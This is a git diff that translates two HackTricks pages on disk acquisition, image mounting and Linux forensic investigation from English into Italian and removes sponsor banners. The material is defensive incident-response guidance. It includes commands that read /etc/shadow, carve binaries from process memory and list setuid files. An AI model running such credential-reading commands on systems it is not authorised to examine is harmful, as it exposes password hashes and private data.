-{% embed url="https://websec.nl/" %} - -## Acquisition +## Acquisizione ### DD - ```bash #This will generate a raw copy of the disk dd if=/dev/sdb of=disk.img ``` - ### dcfldd - ```bash #Raw copy with hashes along the way (more secur as it checks hashes while it's copying the data) dcfldd if= of= bs=512 hash= hashwindow= hashlog= dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes ``` - ### FTK Imager -You can [**download the FTK imager from here**](https://accessdata.com/product-download/debian-and-ubuntu-x64-3-1-1). - +Puoi [**scaricare l'FTK imager da qui**](https://accessdata.com/product-download/debian-and-ubuntu-x64-3-1-1). ```bash ftkimager /dev/sdb evidence --e01 --case-number 1 --evidence-number 1 --description 'A description' --examiner 'Your name' ``` - ### EWF -You can generate a disk image using the[ **ewf tools**](https://github.com/libyal/libewf). - +Puoi generare un'immagine del disco utilizzando gli [**ewf tools**](https://github.com/libyal/libewf). ```bash ewfacquire /dev/sdb #Name: evidence @@ -51,15 +41,13 @@ ewfacquire /dev/sdb #Then use default values #It will generate the disk image in the current directory ``` - ## Mount -### Several types +### Diversi tipi -In **Windows** you can try to use the free version of Arsenal Image Mounter ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) to **mount the forensics image**. +In **Windows** puoi provare a utilizzare la versione gratuita di Arsenal Image Mounter ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) per **montare l'immagine forense**. ### Raw - ```bash #Get file type file evidence.img @@ -68,9 +56,7 @@ evidence.img: Linux rev 1.0 ext4 filesystem data, UUID=1031571c-f398-4bfb-a414-b #Mount it mount evidence.img /mnt ``` - ### EWF - ```bash #Get file type file evidence.E01 @@ -85,16 +71,14 @@ output/ewf1: Linux rev 1.0 ext4 filesystem data, UUID=05acca66-d042-4ab2-9e9c-be #Mount mount output/ewf1 -o ro,norecovery /mnt ``` - ### ArsenalImageMounter -It's a Windows Application to mount volumes. You can download it here [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/) +È un'applicazione Windows per montare volumi. Puoi scaricarla qui [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/) -### Errors - -- **`cannot mount /dev/loop0 read-only`** in this case you need to use the flags **`-o ro,norecovery`** -- **`wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error.`** in this case the mount failed due as the offset of the filesystem is different than that of the disk image. You need to find the Sector size and the Start sector: +### Errori +- **`cannot mount /dev/loop0 read-only`** in questo caso è necessario utilizzare i flag **`-o ro,norecovery`** +- **`wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error.`** in questo caso il montaggio è fallito poiché l'offset del filesystem è diverso da quello dell'immagine del disco. È necessario trovare la dimensione del Settore e il Settore di avvio: ```bash fdisk -l disk.img Disk disk.img: 102 MiB, 106954648 bytes, 208896 sectors @@ -107,15 +91,8 @@ Disk identifier: 0x00495395 Device Boot Start End Sectors Size Id Type disk.img1 2048 208895 206848 101M 1 FAT12 ``` - -Note that sector size is **512** and start is **2048**. Then mount the image like this: - +Nota che la dimensione del settore è **512** e l'inizio è **2048**. Quindi monta l'immagine in questo modo: ```bash mount disk.img /mnt -o ro,offset=$((2048*512)) ``` - -
- -{% embed url="https://websec.nl/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md index 568da19c5..3481a64b0 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md @@ -1,28 +1,17 @@ # Linux Forensics -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} - {{#include ../../banners/hacktricks-training.md}} -## Initial Information Gathering +## Raccolta Iniziale di Informazioni -### Basic Information - -First of all, it's recommended to have some **USB** with **good known binaries and libraries on it** (you can just get ubuntu and copy the folders _/bin_, _/sbin_, _/lib,_ and _/lib64_), then mount the USB, and modify the env variables to use those binaries: +### Informazioni di Base +Prima di tutto, è consigliato avere una **USB** con **binaries e librerie ben noti** (puoi semplicemente prendere ubuntu e copiare le cartelle _/bin_, _/sbin_, _/lib,_ e _/lib64_), poi monta la USB e modifica le variabili di ambiente per utilizzare quei binaries: ```bash export PATH=/mnt/usb/bin:/mnt/usb/sbin export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64 ``` - -Once you have configured the system to use good and known binaries you can start **extracting some basic information**: - +Una volta configurato il sistema per utilizzare binari buoni e conosciuti, puoi iniziare a **estrarre alcune informazioni di base**: ```bash date #Date and time (Clock may be skewed, Might be at a different timezone) uname -a #OS info @@ -40,50 +29,46 @@ cat /etc/passwd #Unexpected data? cat /etc/shadow #Unexpected data? find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory ``` +#### Informazioni sospette -#### Suspicious information +Durante l'ottenimento delle informazioni di base, dovresti controllare cose strane come: -While obtaining the basic information you should check for weird things like: +- **I processi root** di solito vengono eseguiti con PIDS bassi, quindi se trovi un processo root con un PID elevato potresti sospettare +- Controlla i **login registrati** degli utenti senza una shell all'interno di `/etc/passwd` +- Controlla gli **hash delle password** all'interno di `/etc/shadow` per gli utenti senza una shell -- **Root processes** usually run with low PIDS, so if you find a root process with a big PID you may suspect -- Check **registered logins** of users without a shell inside `/etc/passwd` -- Check for **password hashes** inside `/etc/shadow` for users without a shell +### Dump della memoria -### Memory Dump - -To obtain the memory of the running system, it's recommended to use [**LiME**](https://github.com/504ensicsLabs/LiME).\ -To **compile** it, you need to use the **same kernel** that the victim machine is using. +Per ottenere la memoria del sistema in esecuzione, è consigliato utilizzare [**LiME**](https://github.com/504ensicsLabs/LiME).\ +Per **compilarlo**, devi utilizzare lo **stesso kernel** che la macchina vittima sta utilizzando. > [!NOTE] -> Remember that you **cannot install LiME or any other thing** in the victim machine as it will make several changes to it - -So, if you have an identical version of Ubuntu you can use `apt-get install lime-forensics-dkms`\ -In other cases, you need to download [**LiME**](https://github.com/504ensicsLabs/LiME) from github and compile it with correct kernel headers. To **obtain the exact kernel headers** of the victim machine, you can just **copy the directory** `/lib/modules/` to your machine, and then **compile** LiME using them: +> Ricorda che **non puoi installare LiME o qualsiasi altra cosa** nella macchina vittima poiché apporterà diverse modifiche ad essa +Quindi, se hai una versione identica di Ubuntu puoi usare `apt-get install lime-forensics-dkms`\ +In altri casi, devi scaricare [**LiME**](https://github.com/504ensicsLabs/LiME) da github e compilarlo con le intestazioni del kernel corrette. Per **ottenere le intestazioni esatte del kernel** della macchina vittima, puoi semplicemente **copiare la directory** `/lib/modules/` sulla tua macchina, e poi **compilare** LiME utilizzando quelle: ```bash make -C /lib/modules//build M=$PWD sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime" ``` +LiME supporta 3 **formati**: -LiME supports 3 **formats**: +- Raw (ogni segmento concatenato insieme) +- Padded (stesso del raw, ma con zeri nei bit a destra) +- Lime (formato raccomandato con metadati) -- Raw (every segment concatenated together) -- Padded (same as raw, but with zeroes in right bits) -- Lime (recommended format with metadata +LiME può anche essere utilizzato per **inviare il dump tramite rete** invece di memorizzarlo sul sistema utilizzando qualcosa come: `path=tcp:4444` -LiME can also be used to **send the dump via network** instead of storing it on the system using something like: `path=tcp:4444` +### Imaging del disco -### Disk Imaging +#### Spegnimento -#### Shutting down +Prima di tutto, è necessario **spegnere il sistema**. Questo non è sempre un'opzione poiché a volte il sistema sarà un server di produzione che l'azienda non può permettersi di spegnere.\ +Ci sono **2 modi** per spegnere il sistema, un **spegnimento normale** e uno **spegnimento "stacca la spina"**. Il primo permetterà ai **processi di terminare come al solito** e al **filesystem** di essere **synchronizzato**, ma permetterà anche al possibile **malware** di **distruggere le prove**. L'approccio "stacca la spina" può comportare **alcuna perdita di informazioni** (non molte informazioni andranno perse poiché abbiamo già preso un'immagine della memoria) e il **malware non avrà alcuna opportunità** di fare qualcosa al riguardo. Pertanto, se **sospetti** che ci possa essere un **malware**, esegui semplicemente il **comando** **`sync`** sul sistema e stacca la spina. -First of all, you will need to **shut down the system**. This isn't always an option as some times system will be a production server that the company cannot afford to shut down.\ -There are **2 ways** of shutting down the system, a **normal shutdown** and a **"plug the plug" shutdown**. The first one will allow the **processes to terminate as usual** and the **filesystem** to be **synchronized**, but it will also allow the possible **malware** to **destroy evidence**. The "pull the plug" approach may carry **some information loss** (not much of the info is going to be lost as we already took an image of the memory ) and the **malware won't have any opportunity** to do anything about it. Therefore, if you **suspect** that there may be a **malware**, just execute the **`sync`** **command** on the system and pull the plug. - -#### Taking an image of the disk - -It's important to note that **before connecting your computer to anything related to the case**, you need to be sure that it's going to be **mounted as read only** to avoid modifying any information. +#### Prendere un'immagine del disco +È importante notare che **prima di collegare il computer a qualsiasi cosa relativa al caso**, è necessario essere certi che verrà **montato come sola lettura** per evitare di modificare qualsiasi informazione. ```bash #Create a raw copy of the disk dd if= of= bs=512 @@ -92,11 +77,9 @@ dd if= of= bs=512 dcfldd if= of= bs=512 hash= hashwindow= hashlog= dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes ``` +### Pre-analisi dell'immagine del disco -### Disk Image pre-analysis - -Imaging a disk image with no more data. - +Immaginare un'immagine del disco senza ulteriori dati. ```bash #Find out if it's a disk image using "file" command file disk.img @@ -108,12 +91,12 @@ raw #You can list supported types with img_stat -i list Supported image format types: - raw (Single or split raw file (dd)) - aff (Advanced Forensic Format) - afd (AFF Multiple File) - afm (AFF with external metadata) - afflib (All AFFLIB image formats (including beta ones)) - ewf (Expert Witness Format (EnCase)) +raw (Single or split raw file (dd)) +aff (Advanced Forensic Format) +afd (AFF Multiple File) +afm (AFF with external metadata) +afflib (All AFFLIB image formats (including beta ones)) +ewf (Expert Witness Format (EnCase)) #Data of the image fsstat -i raw -f ext4 disk.img @@ -149,41 +132,31 @@ r/r 16: secret.txt icat -i raw -f ext4 disk.img 16 ThisisTheMasterSecret ``` +## Cerca Malware conosciuto -
+### File di sistema modificati -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Linux offre strumenti per garantire l'integrità dei componenti di sistema, fondamentale per individuare file potenzialmente problematici. -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} +- **Sistemi basati su RedHat**: Usa `rpm -Va` per un controllo completo. +- **Sistemi basati su Debian**: `dpkg --verify` per una verifica iniziale, seguito da `debsums | grep -v "OK$"` (dopo aver installato `debsums` con `apt-get install debsums`) per identificare eventuali problemi. -## Search for known Malware +### Rilevatori di Malware/Rootkit -### Modified System Files - -Linux offers tools for ensuring the integrity of system components, crucial for spotting potentially problematic files. - -- **RedHat-based systems**: Use `rpm -Va` for a comprehensive check. -- **Debian-based systems**: `dpkg --verify` for initial verification, followed by `debsums | grep -v "OK$"` (after installing `debsums` with `apt-get install debsums`) to identify any issues. - -### Malware/Rootkit Detectors - -Read the following page to learn about tools that can be useful to find malware: +Leggi la pagina seguente per conoscere gli strumenti che possono essere utili per trovare malware: {{#ref}} malware-analysis.md {{#endref}} -## Search installed programs +## Cerca programmi installati -To effectively search for installed programs on both Debian and RedHat systems, consider leveraging system logs and databases alongside manual checks in common directories. +Per cercare efficacemente programmi installati su sistemi Debian e RedHat, considera di sfruttare i log di sistema e i database insieme a controlli manuali in directory comuni. -- For Debian, inspect _**`/var/lib/dpkg/status`**_ and _**`/var/log/dpkg.log`**_ to fetch details about package installations, using `grep` to filter for specific information. -- RedHat users can query the RPM database with `rpm -qa --root=/mntpath/var/lib/rpm` to list installed packages. - -To uncover software installed manually or outside of these package managers, explore directories like _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, and _**`/sbin`**_. Combine directory listings with system-specific commands to identify executables not associated with known packages, enhancing your search for all installed programs. +- Per Debian, ispeziona _**`/var/lib/dpkg/status`**_ e _**`/var/log/dpkg.log`**_ per ottenere dettagli sulle installazioni dei pacchetti, utilizzando `grep` per filtrare informazioni specifiche. +- Gli utenti di RedHat possono interrogare il database RPM con `rpm -qa --root=/mntpath/var/lib/rpm` per elencare i pacchetti installati. +Per scoprire software installato manualmente o al di fuori di questi gestori di pacchetti, esplora directory come _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_ e _**`/sbin`**_. Combina le liste delle directory con comandi specifici del sistema per identificare eseguibili non associati a pacchetti noti, migliorando la tua ricerca per tutti i programmi installati. ```bash # Debian package and log details cat /var/lib/dpkg/status | grep -E "Package:|Status:" @@ -199,29 +172,17 @@ find /sbin/ –exec rpm -qf {} \; | grep "is not" # Find exacuable files find / -type f -executable | grep ``` +## Recuperare Binaries Eseguiti Cancellati -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} - -## Recover Deleted Running Binaries - -Imagine a process that was executed from /tmp/exec and then deleted. It's possible to extract it - +Immagina un processo che è stato eseguito da /tmp/exec e poi cancellato. È possibile estrarlo. ```bash cd /proc/3746/ #PID with the exec file deleted head -1 maps #Get address of the file. It was 08048000-08049000 dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it ``` +## Ispeziona le posizioni di avvio automatico -## Inspect Autostart locations - -### Scheduled Tasks - +### Attività pianificate ```bash cat /var/spool/cron/crontabs/* \ /var/spool/cron/atjobs \ @@ -235,61 +196,60 @@ cat /var/spool/cron/crontabs/* \ #MacOS ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ``` +### Servizi -### Services +Percorsi in cui un malware potrebbe essere installato come servizio: -Paths where a malware could be installed as a service: +- **/etc/inittab**: Chiama script di inizializzazione come rc.sysinit, indirizzando ulteriormente agli script di avvio. +- **/etc/rc.d/** e **/etc/rc.boot/**: Contengono script per l'avvio dei servizi, il secondo si trova nelle versioni Linux più vecchie. +- **/etc/init.d/**: Utilizzato in alcune versioni di Linux come Debian per memorizzare script di avvio. +- I servizi possono anche essere attivati tramite **/etc/inetd.conf** o **/etc/xinetd/**, a seconda della variante di Linux. +- **/etc/systemd/system**: Una directory per gli script del gestore di sistema e servizi. +- **/etc/systemd/system/multi-user.target.wants/**: Contiene collegamenti ai servizi che dovrebbero essere avviati in un livello di esecuzione multi-utente. +- **/usr/local/etc/rc.d/**: Per servizi personalizzati o di terze parti. +- **\~/.config/autostart/**: Per applicazioni di avvio automatico specifiche per l'utente, che possono essere un nascondiglio per malware mirati all'utente. +- **/lib/systemd/system/**: File di unità predefiniti a livello di sistema forniti dai pacchetti installati. -- **/etc/inittab**: Calls initialization scripts like rc.sysinit, directing further to startup scripts. -- **/etc/rc.d/** and **/etc/rc.boot/**: Contain scripts for service startup, the latter being found in older Linux versions. -- **/etc/init.d/**: Used in certain Linux versions like Debian for storing startup scripts. -- Services may also be activated via **/etc/inetd.conf** or **/etc/xinetd/**, depending on the Linux variant. -- **/etc/systemd/system**: A directory for system and service manager scripts. -- **/etc/systemd/system/multi-user.target.wants/**: Contains links to services that should be started in a multi-user runlevel. -- **/usr/local/etc/rc.d/**: For custom or third-party services. -- **\~/.config/autostart/**: For user-specific automatic startup applications, which can be a hiding spot for user-targeted malware. -- **/lib/systemd/system/**: System-wide default unit files provided by installed packages. +### Moduli del Kernel -### Kernel Modules +I moduli del kernel Linux, spesso utilizzati dal malware come componenti rootkit, vengono caricati all'avvio del sistema. Le directory e i file critici per questi moduli includono: -Linux kernel modules, often utilized by malware as rootkit components, are loaded at system boot. The directories and files critical for these modules include: +- **/lib/modules/$(uname -r)**: Contiene moduli per la versione del kernel in esecuzione. +- **/etc/modprobe.d**: Contiene file di configurazione per controllare il caricamento dei moduli. +- **/etc/modprobe** e **/etc/modprobe.conf**: File per le impostazioni globali dei moduli. -- **/lib/modules/$(uname -r)**: Holds modules for the running kernel version. -- **/etc/modprobe.d**: Contains configuration files to control module loading. -- **/etc/modprobe** and **/etc/modprobe.conf**: Files for global module settings. +### Altre Posizioni di Avvio Automatico -### Other Autostart Locations +Linux utilizza vari file per eseguire automaticamente programmi al momento del login dell'utente, potenzialmente ospitando malware: -Linux employs various files for automatically executing programs upon user login, potentially harboring malware: +- **/etc/profile.d/**\*, **/etc/profile**, e **/etc/bash.bashrc**: Eseguiti per qualsiasi login utente. +- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, e **\~/.config/autostart**: File specifici per l'utente che vengono eseguiti al loro login. +- **/etc/rc.local**: Viene eseguito dopo che tutti i servizi di sistema sono stati avviati, segnando la fine della transizione a un ambiente multiutente. -- **/etc/profile.d/**\*, **/etc/profile**, and **/etc/bash.bashrc**: Executed for any user login. -- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, and **\~/.config/autostart**: User-specific files that run upon their login. -- **/etc/rc.local**: Runs after all system services have started, marking the end of the transition to a multiuser environment. +## Esaminare i Log -## Examine Logs +I sistemi Linux tracciano le attività degli utenti e gli eventi di sistema attraverso vari file di log. Questi log sono fondamentali per identificare accessi non autorizzati, infezioni da malware e altri incidenti di sicurezza. I file di log chiave includono: -Linux systems track user activities and system events through various log files. These logs are pivotal for identifying unauthorized access, malware infections, and other security incidents. Key log files include: - -- **/var/log/syslog** (Debian) or **/var/log/messages** (RedHat): Capture system-wide messages and activities. -- **/var/log/auth.log** (Debian) or **/var/log/secure** (RedHat): Record authentication attempts, successful and failed logins. - - Use `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` to filter relevant authentication events. -- **/var/log/boot.log**: Contains system startup messages. -- **/var/log/maillog** or **/var/log/mail.log**: Logs email server activities, useful for tracking email-related services. -- **/var/log/kern.log**: Stores kernel messages, including errors and warnings. -- **/var/log/dmesg**: Holds device driver messages. -- **/var/log/faillog**: Records failed login attempts, aiding in security breach investigations. -- **/var/log/cron**: Logs cron job executions. -- **/var/log/daemon.log**: Tracks background service activities. -- **/var/log/btmp**: Documents failed login attempts. -- **/var/log/httpd/**: Contains Apache HTTPD error and access logs. -- **/var/log/mysqld.log** or **/var/log/mysql.log**: Logs MySQL database activities. -- **/var/log/xferlog**: Records FTP file transfers. -- **/var/log/**: Always check for unexpected logs here. +- **/var/log/syslog** (Debian) o **/var/log/messages** (RedHat): Catturano messaggi e attività a livello di sistema. +- **/var/log/auth.log** (Debian) o **/var/log/secure** (RedHat): Registrano i tentativi di autenticazione, accessi riusciti e falliti. +- Usa `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` per filtrare eventi di autenticazione rilevanti. +- **/var/log/boot.log**: Contiene messaggi di avvio del sistema. +- **/var/log/maillog** o **/var/log/mail.log**: Registra le attività del server di posta, utile per tracciare i servizi legati alla posta elettronica. +- **/var/log/kern.log**: Memorizza messaggi del kernel, inclusi errori e avvisi. +- **/var/log/dmesg**: Contiene messaggi del driver del dispositivo. +- **/var/log/faillog**: Registra i tentativi di accesso falliti, utile per le indagini su violazioni della sicurezza. +- **/var/log/cron**: Registra le esecuzioni dei job cron. +- **/var/log/daemon.log**: Traccia le attività dei servizi in background. +- **/var/log/btmp**: Documenta i tentativi di accesso falliti. +- **/var/log/httpd/**: Contiene log di errore e accesso di Apache HTTPD. +- **/var/log/mysqld.log** o **/var/log/mysql.log**: Registra le attività del database MySQL. +- **/var/log/xferlog**: Registra i trasferimenti di file FTP. +- **/var/log/**: Controlla sempre per log inaspettati qui. > [!NOTE] -> Linux system logs and audit subsystems may be disabled or deleted in an intrusion or malware incident. Because logs on Linux systems generally contain some of the most useful information about malicious activities, intruders routinely delete them. Therefore, when examining available log files, it is important to look for gaps or out of order entries that might be an indication of deletion or tampering. +> I log di sistema Linux e i sottosistemi di audit potrebbero essere disabilitati o eliminati in un'intrusione o in un incidente di malware. Poiché i log sui sistemi Linux contengono generalmente alcune delle informazioni più utili sulle attività dannose, gli intrusi li eliminano regolarmente. Pertanto, quando si esaminano i file di log disponibili, è importante cercare lacune o voci fuori ordine che potrebbero essere un'indicazione di eliminazione o manomissione. -**Linux maintains a command history for each user**, stored in: +**Linux mantiene una cronologia dei comandi per ogni utente**, memorizzata in: - \~/.bash_history - \~/.zsh_history @@ -297,42 +257,39 @@ Linux systems track user activities and system events through various log files. - \~/.python_history - \~/.\*\_history -Moreover, the `last -Faiwx` command provides a list of user logins. Check it for unknown or unexpected logins. +Inoltre, il comando `last -Faiwx` fornisce un elenco di accessi degli utenti. Controllalo per accessi sconosciuti o inaspettati. -Check files that can grant extra rprivileges: +Controlla i file che possono concedere privilegi extra: -- Review `/etc/sudoers` for unanticipated user privileges that may have been granted. -- Review `/etc/sudoers.d/` for unanticipated user privileges that may have been granted. -- Examine `/etc/groups` to identify any unusual group memberships or permissions. -- Examine `/etc/passwd` to identify any unusual group memberships or permissions. +- Rivedi `/etc/sudoers` per privilegi utente non previsti che potrebbero essere stati concessi. +- Rivedi `/etc/sudoers.d/` per privilegi utente non previsti che potrebbero essere stati concessi. +- Esamina `/etc/groups` per identificare eventuali appartenenze a gruppi o permessi insoliti. +- Esamina `/etc/passwd` per identificare eventuali appartenenze a gruppi o permessi insoliti. -Some apps alse generates its own logs: +Alcune app generano anche i propri log: -- **SSH**: Examine _\~/.ssh/authorized_keys_ and _\~/.ssh/known_hosts_ for unauthorized remote connections. -- **Gnome Desktop**: Look into _\~/.recently-used.xbel_ for recently accessed files via Gnome applications. -- **Firefox/Chrome**: Check browser history and downloads in _\~/.mozilla/firefox_ or _\~/.config/google-chrome_ for suspicious activities. -- **VIM**: Review _\~/.viminfo_ for usage details, such as accessed file paths and search history. -- **Open Office**: Check for recent document access that may indicate compromised files. -- **FTP/SFTP**: Review logs in _\~/.ftp_history_ or _\~/.sftp_history_ for file transfers that might be unauthorized. -- **MySQL**: Investigate _\~/.mysql_history_ for executed MySQL queries, potentially revealing unauthorized database activities. -- **Less**: Analyze _\~/.lesshst_ for usage history, including viewed files and commands executed. -- **Git**: Examine _\~/.gitconfig_ and project _.git/logs_ for changes to repositories. +- **SSH**: Esamina _\~/.ssh/authorized_keys_ e _\~/.ssh/known_hosts_ per connessioni remote non autorizzate. +- **Gnome Desktop**: Controlla _\~/.recently-used.xbel_ per file recentemente accessi tramite applicazioni Gnome. +- **Firefox/Chrome**: Controlla la cronologia del browser e i download in _\~/.mozilla/firefox_ o _\~/.config/google-chrome_ per attività sospette. +- **VIM**: Rivedi _\~/.viminfo_ per dettagli sull'uso, come percorsi di file accessi e cronologia delle ricerche. +- **Open Office**: Controlla l'accesso ai documenti recenti che potrebbero indicare file compromessi. +- **FTP/SFTP**: Rivedi i log in _\~/.ftp_history_ o _\~/.sftp_history_ per trasferimenti di file che potrebbero essere non autorizzati. +- **MySQL**: Indaga _\~/.mysql_history_ per query MySQL eseguite, rivelando potenzialmente attività non autorizzate nel database. +- **Less**: Analizza _\~/.lesshst_ per la cronologia dell'uso, inclusi file visualizzati e comandi eseguiti. +- **Git**: Esamina _\~/.gitconfig_ e il progetto _.git/logs_ per modifiche ai repository. -### USB Logs +### Log USB -[**usbrip**](https://github.com/snovvcrash/usbrip) is a small piece of software written in pure Python 3 which parses Linux log files (`/var/log/syslog*` or `/var/log/messages*` depending on the distro) for constructing USB event history tables. +[**usbrip**](https://github.com/snovvcrash/usbrip) è un piccolo software scritto in puro Python 3 che analizza i file di log di Linux (`/var/log/syslog*` o `/var/log/messages*` a seconda della distribuzione) per costruire tabelle di cronologia degli eventi USB. -It is interesting to **know all the USBs that have been used** and it will be more useful if you have an authorized list of USBs to find "violation events" (the use of USBs that aren't inside that list). - -### Installation +È interessante **conoscere tutte le USB che sono state utilizzate** e sarà più utile se hai un elenco autorizzato di USB per trovare "eventi di violazione" (l'uso di USB che non sono all'interno di quell'elenco). +### Installazione ```bash pip3 install usbrip usbrip ids download #Download USB ID database ``` - -### Examples - +### Esempi ```bash usbrip events history #Get USB history of your curent linux machine usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user @@ -340,40 +297,30 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR usbrip ids download #Downlaod database usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid ``` - More examples and info inside the github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) -
+## Rivedere gli Account Utente e le Attività di Accesso -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Esaminare il _**/etc/passwd**_, _**/etc/shadow**_ e i **log di sicurezza** per nomi o account insoliti creati e/o utilizzati in prossimità di eventi non autorizzati noti. Inoltre, controllare possibili attacchi di brute-force sudo.\ +Inoltre, controllare file come _**/etc/sudoers**_ e _**/etc/groups**_ per privilegi inaspettati concessi agli utenti.\ +Infine, cercare account con **nessuna password** o **password facilmente indovinabili**. -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} +## Esaminare il File System -## Review User Accounts and Logon Activities +### Analizzare le Strutture del File System nell'Investigazione di Malware -Examine the _**/etc/passwd**_, _**/etc/shadow**_ and **security logs** for unusual names or accounts created and or used in close proximity to known unauthorized events. Also, check possible sudo brute-force attacks.\ -Moreover, check files like _**/etc/sudoers**_ and _**/etc/groups**_ for unexpected privileges given to users.\ -Finally, look for accounts with **no passwords** or **easily guessed** passwords. +Quando si indagano incidenti di malware, la struttura del file system è una fonte cruciale di informazioni, rivelando sia la sequenza degli eventi che il contenuto del malware. Tuttavia, gli autori di malware stanno sviluppando tecniche per ostacolare questa analisi, come modificare i timestamp dei file o evitare il file system per l'archiviazione dei dati. -## Examine File System - -### Analyzing File System Structures in Malware Investigation - -When investigating malware incidents, the structure of the file system is a crucial source of information, revealing both the sequence of events and the malware's content. However, malware authors are developing techniques to hinder this analysis, such as modifying file timestamps or avoiding the file system for data storage. - -To counter these anti-forensic methods, it's essential to: - -- **Conduct a thorough timeline analysis** using tools like **Autopsy** for visualizing event timelines or **Sleuth Kit's** `mactime` for detailed timeline data. -- **Investigate unexpected scripts** in the system's $PATH, which might include shell or PHP scripts used by attackers. -- **Examine `/dev` for atypical files**, as it traditionally contains special files, but may house malware-related files. -- **Search for hidden files or directories** with names like ".. " (dot dot space) or "..^G" (dot dot control-G), which could conceal malicious content. -- **Identify setuid root files** using the command: `find / -user root -perm -04000 -print` This finds files with elevated permissions, which could be abused by attackers. -- **Review deletion timestamps** in inode tables to spot mass file deletions, possibly indicating the presence of rootkits or trojans. -- **Inspect consecutive inodes** for nearby malicious files after identifying one, as they may have been placed together. -- **Check common binary directories** (_/bin_, _/sbin_) for recently modified files, as these could be altered by malware. +Per contrastare questi metodi anti-forensi, è essenziale: +- **Condurre un'analisi approfondita della timeline** utilizzando strumenti come **Autopsy** per visualizzare le timeline degli eventi o `mactime` di **Sleuth Kit** per dati dettagliati sulla timeline. +- **Indagare su script inaspettati** nel $PATH del sistema, che potrebbero includere script shell o PHP utilizzati dagli attaccanti. +- **Esaminare `/dev` per file atipici**, poiché tradizionalmente contiene file speciali, ma potrebbe ospitare file relativi al malware. +- **Cercare file o directory nascosti** con nomi come ".. " (punto punto spazio) o "..^G" (punto punto controllo-G), che potrebbero nascondere contenuti dannosi. +- **Identificare file setuid root** utilizzando il comando: `find / -user root -perm -04000 -print` Questo trova file con permessi elevati, che potrebbero essere abusati dagli attaccanti. +- **Rivedere i timestamp di cancellazione** nelle tabelle inode per individuare cancellazioni di massa di file, che potrebbero indicare la presenza di rootkit o trojan. +- **Ispezionare inode consecutivi** per file dannosi vicini dopo averne identificato uno, poiché potrebbero essere stati collocati insieme. +- **Controllare le directory binarie comuni** (_/bin_, _/sbin_) per file recentemente modificati, poiché questi potrebbero essere stati alterati da malware. ````bash # List recent files in a directory: ls -laR --sort=time /bin``` @@ -381,58 +328,43 @@ ls -laR --sort=time /bin``` # Sort files in a directory by inode: ls -lai /bin | sort -n``` ```` - > [!NOTE] -> Note that an **attacker** can **modify** the **time** to make **files appear** **legitimate**, but he **cannot** modify the **inode**. If you find that a **file** indicates that it was created and modified at the **same time** as the rest of the files in the same folder, but the **inode** is **unexpectedly bigger**, then the **timestamps of that file were modified**. +> Nota che un **attaccante** può **modificare** il **tempo** per far **apparire** i **file** **legittimi**, ma non può **modificare** l'**inode**. Se scopri che un **file** indica che è stato creato e modificato allo **stesso tempo** degli altri file nella stessa cartella, ma l'**inode** è **inaspettatamente più grande**, allora i **timestamp di quel file sono stati modificati**. -## Compare files of different filesystem versions +## Confronta file di diverse versioni del filesystem -### Filesystem Version Comparison Summary +### Riepilogo del confronto delle versioni del filesystem -To compare filesystem versions and pinpoint changes, we use simplified `git diff` commands: - -- **To find new files**, compare two directories: +Per confrontare le versioni del filesystem e individuare le modifiche, utilizziamo comandi `git diff` semplificati: +- **Per trovare nuovi file**, confronta due directory: ```bash git diff --no-index --diff-filter=A 